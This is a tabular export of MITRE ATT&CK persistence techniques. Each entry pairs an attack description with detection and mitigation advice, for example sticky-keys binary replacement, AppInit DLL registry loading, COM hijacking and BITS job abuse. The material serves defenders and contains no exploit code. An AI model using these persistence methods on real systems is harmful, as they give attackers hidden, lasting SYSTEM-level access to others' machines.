TA0003	**0**	**Tactic**	**Persistence**	The adversary is trying to maintain their foothold. Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.							https://attack.mitre.org/tactics/TA0003
T1156	**1**	**Technique**	**.bash_profile and .bashrc**	<code>~/.bash_profile</code> and <code>~/.bashrc</code> are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the <code>~/.bash_profile</code> script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the <code>~/.bashrc</code> script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment. The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>. Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).	While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.	Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.	persistence	File monitoring, Process monitoring, Process command-line parameters, Process use of network	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1156
T1015	**1**	**Technique**	**Accessibility Features**	Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit) Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods: For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys) * On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code> * Magnifier: <code>C:\Windows\System32\Magnify.exe</code> * Narrator: <code>C:\Windows\System32\Narrator.exe</code> * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code> * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>	Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</code>.	To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA) If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway) Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	persistence, privilege-escalation	Windows Registry, File monitoring, Process monitoring	Windows	Administrator	https://attack.mitre.org/techniques/T1015
T1098	**1**	**Technique**	**Account Manipulation**	Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Exchange Email Account Takeover The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) ### Azure AD In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death) ### AWS AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)	Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. A larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from€¯real accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring.	Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.	credential-access, persistence	Authentication logs, API monitoring, Windows event logs, Packet capture	Windows, Office 365	Administrator	https://attack.mitre.org/techniques/T1098

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1182	**1**	**Technique**	**AppCert DLLs**	Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.	Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.	Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.	persistence, privilege-escalation	Loaded DLLs, Process monitoring, Windows Registry	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1182
T1103	**1**	**Technique**	**AppInit DLLs**	Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)	Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.	Upgrade to Windows 8 or later and enable secure boot. Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.	persistence, privilege-escalation	Loaded DLLs, Process monitoring, Windows Registry	Windows	Administrator	https://attack.mitre.org/techniques/T1103
T1138	**1**	**Technique**	**Application Shimming**	The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\AppPatch\sysmain.sdb</code> * <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code> Custom databases are stored in: * <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> * <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code> To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.	There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): * Shim-Process-Scanner - checks memory of every running process for any Shim flags * Shim-Detector-Lite - detects installation of custom shim databases * Shim-Guard - monitors registry for any shim installations * ShimScanner - forensic tool to find active shims in memory * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.	There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.	persistence, privilege-escalation	Loaded DLLs, System calls, Windows Registry, Process monitoring	Windows	Administrator	https://attack.mitre.org/techniques/T1138
T1131	**1**	**Technique**	**Authentication Package**	Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages) Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.	Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)	Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)	persistence	DLL monitoring, Windows Registry, Loaded DLLs	Windows	Administrator	https://attack.mitre.org/techniques/T1131
T1197	**1**	**Technique**	**BITS Jobs**	Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)	BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>). (Citation: Microsoft BITS) Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the 'Transfer', 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007) Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic. Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007) Consider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code>HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>. (Citation: Microsoft BITS)	defense-evasion, persistence	API monitoring, Packet capture, Windows event logs	Windows	User, Administrator	https://attack.mitre.org/techniques/T1197

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1067	**1**	**Technique**	**Bootkit**	A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016) Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. ### Master Boot Record The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011) ### Volume Boot Record The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.	Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.	Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)	persistence	API monitoring, MBR, VBR	Linux, Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1067
T1176	**1**	**Technique**	**Browser Extensions**	Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).	Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.	Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones. Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP) Change settings to prevent the browser from installing extensions without sufficient permissions. Close out all browser sessions when finished using them.	persistence	Network protocol analysis, Packet capture, System calls, Process use of network	Linux, macOS	User	https://attack.mitre.org/techniques/T1176
T1042	**1**	**Technique**	**Change Default File Association**	When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code> The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)	Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.	Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations) Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	persistence	Windows Registry, Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1042
T1109	**1**	**Technique**	**Component Firmware**	Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.	Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.	Prevent adversary access to privileged accounts or access necessary to perform this technique. Consider removing and replacing system components suspected of being compromised.	defense-evasion, persistence	Disk forensics, API monitoring, Process monitoring, Component firmware	Windows	SYSTEM	https://attack.mitre.org/techniques/T1109
T1122	**1**	**Technique**	**Component Object Model Hijacking**	The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.	There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\Software\Classes\CLSID\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.	Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality. Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion, persistence	Windows Registry, DLL monitoring, Loaded DLLs	Windows	User	https://attack.mitre.org/techniques/T1122
T1136	**1**	**Technique**	**Create Account**	Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. ### Windows The <code>net user</code> commands can be used to create a local or domain account. ### Office 365 An adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)	Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.	Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment. Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on. Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.	persistence	Office 365 account logs, Azure activity logs, AWS CloudTrail logs, Process monitoring	Linux, macOS	Administrator	https://attack.mitre.org/techniques/T1136

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1038	**1**	**Technique**	**DLL Search Order Hijacking**	Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.	Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.	Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search) Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit) Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.	persistence, privilege-escalation	File monitoring, DLL monitoring, Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1038
